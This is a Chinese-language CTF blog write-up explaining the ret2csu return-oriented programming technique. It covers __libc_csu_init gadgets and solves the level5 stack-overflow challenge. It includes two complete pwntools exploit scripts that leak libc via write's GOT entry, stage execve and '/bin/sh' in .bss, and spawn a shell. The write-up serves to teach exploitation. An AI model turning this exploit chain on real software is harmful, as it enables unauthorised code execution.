ret2csu
原理
函数调用参数与寄存器
关于函数调用参数和寄存器的联系CSAPP给出了相当精辟的介绍,这里我决定援引CSAPP原文(顶礼膜拜)
在x86-64中,可以通过寄存器最多传递6个整型(整数、指针等)参数。寄存器的使用是有特殊顺序的,寄存器使用的名字取决于养传递的数据类型的大小,如下图所示。会根据参数在参数列表中的顺序为它们分配寄存器。可以通过64位寄存器适当的部分访问小于64位的参数。例如,如果第一个参数是32位的,那么可以用%edi
来访问它。如果一个函数有大于6个整形参数,超出6个的部分就要通过栈来传递
gadgets
然后来简单讲讲什么是gadgets
所谓gadgets就是一些存在于libc中的可以对特定寄存器的值进行操作的函数或代码片段
通过利用gadgets我们可以对函数调用的参数进行操纵,从而进一步对函数进行利用而达到攻击的目的
但在大多数时候我们很难找到每个寄存器的gadgets,这时候我们就可以利用x86-64下用于对libc进行初始化操作的__libc_csu_init
函数中的gadgets了,这也是ret2csu的含义所在
- CSU的含义是“C Start Up”
- 关于gadgets的深入理解可以参看大佬的文章:ret2csu __libc_csu_init 这段 通用 gadget 的本质道理
以下是__libc_csu_init
函数的反汇编源码
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
对__libc_csu_init
,我们可以利用以下几点
- 从
0x000000000040061A
一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx
、rbp
、r12
、r13
、r14
、r15
寄存器的数据 - 从
0x0000000000400600
到0x0000000000400609
,我们可以将r13
赋给rdx
、将r14
赋给rsi
,将r15d
赋给edi
(需要注意的是,虽然这里赋给的是edi
,但其实此时rdi
的高32位寄存器值为0,所以我们只能控制低32位),这三个寄存器也是x64函数调用中传递的前三个寄存器
此外我们注意到在0x0000000000400609
处有call
指令,如果我们可以合理地控制r12
与rbx
,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx
为0,r12
为存储我们想要调用的函数的地址 - 从
0x000000000040060D
到0x0000000000400614
,我们可以控制rbx
与rbp
的之间的关系为rbx+1 = rbp
以规避jnz
指令造成的循环,这样我们就不会循环到loc_400600
,进而可以继续执行下面的汇编程序并retn
到下一个函数。这里我们可以简单的设置rbx=0
、rbp=1
值得注意的是,不同版本的libc中__libc_csu_init
函数有一定的区别,需要自行调整
另外,在gcc还会在程序中编译进去几个与__libc_csu_init
类似的万能gadgets,可以根据实际情况自行挑选使用
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
题目
程序开启了NX保护,但.bss段有写入权限
看看源码
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
可以看到题目的源码相当朴实无华()read
函数可以栈溢出不用多说,此外我们可以调用write
函数输出其自身的地址以确定libc版本__libc_csu_init
也在0x00000000004005C0
处,有loc_400600
和loc_400616
两处gadgets
那么最后也是最重要的,构造payload
构造payload
首先来理清gadget的结构(此处汇编代码因为考虑易读性而并不规范)
然后我们的大致的gadget利用思路是:先跳转到loc_40061A
(因为loc_400616
的第一条指令是栈指针操作add rsp, 8
,应当跳过)处设置各寄存器的值,然后retn
到0x400600
开始间接设置函数调用的前三个参数所在的寄存器、call
到我们设置的函数,返回后紧接着顺利绕过jnz
循环第二次来到loc_400616
,随便设置寄存器的值(关于0xdeadbeef
可以去了解Magic Number,这里无实际意义),最后retn
回程序起点
- payload1
- 间接调用
write
函数,利用其输出自己的GOT表地址以便我们查找libc库版本,最后返回到起点
- 间接调用
- payload2
- 调用
read
函数在.bss段基地址处写入,并在payload外输入execve
函数的地址和/bin/sh\x00
,再次返回起点
- 调用
- payload3
- 访问我们在.bss段写入的
execve
函数地址调用之,传入写入的/bin/sh\x00
,然后getshell
- 访问我们在.bss段写入的
值得注意的是我们选择__libc_csu_init
函数作为gadget的理由是它所能改变的寄存器与read函数、write函数的参数数量相匹配,read函数和write函数的参数格式如下
read(int fd, void *buf, size_t count);
write(int fd, void *buf, size_t count);
int fd
:只能为0或1,0为文件写入、1为文件读取void *buf
:指向写入或读取的目标地址size_t count
:写入或读取的字节长度
最终payload构造如下
EXP
from pwn import *
from LibcSearcher import LibcSearcher
e = ELF('./level5')
sh = process('./level5')
write_got = e.got['write']
read_got = e.got['read']
main_addr = e.symbols['main']
csu_front = 0x400600
csu_end = 0x40061A
read_got = e.got['read']
bss_base = e.bss()
payload1 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(write_got) + p64(0x8) + p64(write_got) + p64(0x1) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload1)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr) # libc6_2.35-0ubuntu3.1_amd64
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x10) + p64(bss_base) + p64(0x0) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload2)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
payload3 = b'a'*0x80 + b'a'*0x8 + p64(csu_end) + p64(0x0) + p64(0x1) + p64(bss_base) + p64(0x00) + p64(0x00) + p64(bss_base+8) + p64(csu_front) + b'a'*0x38 + p64(main_addr)
sh.recvuntil('Hello, World\n')
sh.send(payload3)
sh.interactive()
当然也可以像wiki里一样将构造payload部分的代码写成函数,方便构造和调用
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = b'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = b'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
# RDI, RSI, RDX, RCX, R8, R9, more on the stack
# write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr) # libc6_2.35-0ubuntu3.1_amd64
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
#gdb.attach(sh)
# read(0,bss_base,16)
# read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')
sh.recvuntil('Hello, World\n')
# execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
这题实际上在最后几步的处理上还有另外一种解法,那就是利用ROPgadget查找出pop rdi ; ret ;
指令块的位置,将rdi
的值改变为str_bin_sh
的地址或字符串/bin/sh\x00
,使之传入system
函数或evecve
函数内
不过经过尝试,由于我能力有限,未能构造好payload而未能打通
杂谈
不愧是wiki里中级ROP的守门员,上来就把我整蒙了,看一会资料就开始逐渐崩溃、心情好点之后又跑回去看,反反复复最后整整耗了我一周有余最后终于打通,看着pwn到的shell有种十年便秘一朝泄洪的爽快感(?)
说起来在查资料的过程中得知这道题的原作者蒸米是乌云里的大佬,这道题配套的教程也是发布在乌云上的。所以闲暇时跑去了解了一些乌云的往事,在知道乌云当年的辉煌鼎盛和一夜崩塌之后不禁有些怀古伤今()
只能希望中国网络安全圈的环境慢慢完善、越变越好吧,这是由衷的
参考
- CTFwiki
- 《深入理解计算机系统》(CSAPP)
Comments NOTHING